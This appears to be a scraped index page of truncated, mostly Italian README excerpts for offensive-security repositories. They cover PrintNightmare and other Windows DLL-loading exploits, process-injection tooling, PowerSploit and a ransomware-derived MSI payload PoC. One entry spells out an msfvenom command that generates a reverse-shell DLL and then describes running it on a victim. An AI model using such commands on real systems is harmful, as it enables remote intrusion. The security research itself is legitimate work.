PENeL

PENeL - PowerShell con libreria .NET incorporata Programma che prepara una libreria DLL .NET per essere eseguita incorporata in uno script PowerShell Creato da: Guilherme Bacellar Moralez Th3 0bservator https://twitter.com/th30bservator Disclaimer Questo codice è creato e mantenuto solo a scopo d...

CVE-2021-40444

CVE-2021-40444 Utilizzo Assicurati di eseguire prima setup.sh poiché ti serviranno alcune directory. Una volta eseguito lo script, dovresti essere in grado di eseguire gen.py con l'esempio fornito:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i...

Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll

A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll. id: CVE-2024-0801 info: name: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll author: daffainfo severity: high description: | A denial of service vulnerability exists i...

CVE-2021-1675

CVE-2021-1675 Implementazione Impacket del PoC PrintNightmare creato originariamente da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegue DLL dannose in remoto o in locale Installazione Prima di eseguire l'exploit devi installa...

CVE-2017-8464-exp-generator

CVE-2017-8464-exp-generator questo strumento può generare un exp per cve-2017-8486, è sviluppato in python Utilizzo: CVE-2017-8464.py dllname quindi verranno generati 26 file con nome A.lnk, B.lnk, ...., Z.lnk poi devi solo mettere il file dll in uno qualsiasi dei dischi A:/, B:/, ...., Z:/ per...

CVE-2024-21378

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Chiediamo il ritorno sicuro di tutti i cittadini presi in ostaggio dal gruppo terroristico Hamas. Non ci fermeremo finché ogni ostaggio non verrà rilasciato e non tornerà a casa sano e salvo. Puoi aiutarci a riportarli a casa.https://stories.bringthemhomenow.net/...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente aggiornato Esegui DLL malevole in remoto o localmente Aggiornamento patch Microsoft ha...

CVE-2021-1675-PrintNightmare

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 giugno 2021 CVE-2021-1675 è una vulnerabilità critica di esecuzione remota di codice e di escalation di privilegi locali soprannominata "PrintNightmare." Sono state rilasciate proof-of-concept exploit Python, C++ per l...

ProcessStomping

ProcessStomping A variation of ProcessOverwriting to execute shellcode on an executable's section Was ist das Für eine detailliertere Erklärung kannst du meinen Blogbeitrag lesen. Process Stomping ist eine Variation von hasherezade's Process Overwriting und hat den Vorteil, dass ein...

CVE-2020-0668

CVE-2020-0668 Fai funzionare l'exploit CVE-2020-0668 per versioni = win10 v1903 Exploit Diaghub evil.dll PASSO 2：esegui exp.ps1 con powershell PASSO 3：esegui Diaghub.exe C:\ProgramData evil.dll per caricare la dll e aggiungere l'utente. Diaghub Exploit UsoDllLoader = v1903 l'exploit powershell...

CVE-2026-4255

CVE-2026-4255 Thermalright TR-VISION HOME - Escalation dei privilegi tramite caricamento laterale di DLL Gravità: ALTA CVSS 8.4 CWE: CWE-829 Inclusione di funzionalità da una sfera di controllo non attendibile Pubblicato: 16/03/2026 CNA: Toreon Versioni interessate: Thermalright TR-VISION HOME ≤...

SharpPN

C PrintNightmare CVE-2021-1675 Avrai bisogno di una DLL per utilizzare SharpPN. Quindi, una volta che ce l'hai, basta compilare e specificare il percorso della DLL negli argomenti della riga di comando. Compilazione Puoi compilare da solo con C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe...

CVE-2017-8759-exploits

CVE-2017-8759-exploits Zwei Versionen der CVE-2017-8759-Exploits Beispiel 1 - Lädt eine .Net-DLL von einem entfernten Speicherort herunter ohne die Festplatte zu berühren, lädt und führt sie aus Beispiel 2 - Lädt eine eingebettete .Net-DLL und führt sie aus...

CVE-2010-5301

CVE-2010-5301 Una proof of concept di un overflow SEH con iniezione arbitraria di DLL Descrizione Kolibrì HTTP Server 2.0 è affetto da un buffer overflow basato su stack. Al momento della scoperta, questa vulnerabilità veniva sfruttata semplicemente sovrascrivendo il puntatore all'istruzione con...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegui DLL dannose in remoto o localmente Aggiornamento della patch Microsoft h...

CVE-2025-21420-PoC

CVE-2025-21420 PoC Vulnerabilità di elevazione dei privilegi nello strumento Pulizia disco di Windows Per quanto ne so, sebbene incompleto, questo è il primo PoC per questa CVE. https://nvd.nist.gov/vuln/detail/CVE-2025-21420 https://vulners.com/cve/CVE-2025-21420 Abbiamo trovato un modo per fare...

NimNightmare

CVE-2021-1675 LPE PoC Non è il mio exploit! Volevo solo giocherellare con la libreria winim in nim. Utilizzo Genera il payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, poi avvia l'handler sul tuo attacker. Sulla vittima esegui...

PowerSploit

Fork creato per aggiungere alcune funzionalità a PowerView.ps1 che eseguo comunemente manualmente Questo progetto non è più supportato PowerSploit è una raccolta di moduli Microsoft PowerShell che possono essere utilizzati per assistere i penetration tester durante tutte le fasi di una valutazion...

CVE-2022-3368

CVE-2022-3368 PoC per la vulnerabilità di spostamento arbitrario di file nel componente Software Update di Avira Security. Gli utenti hanno la possibilità di usare questa funzione per aggiornare qualsiasi software obsoleto sul proprio PC; quando questa funzione viene usata, il servizio Avira...

GwisinMsi

GwisinMsi Questo repository contiene la PoC del payload MSI utilizzato nel post del blog. Il payload si basa sull'analisi del payload MSI del ransomware Gwisin effettuata dal team AhnLab ASEC nel loro post del blog. Configurazione di compilazione DLL Progetto Proprietà del progetto C/C++...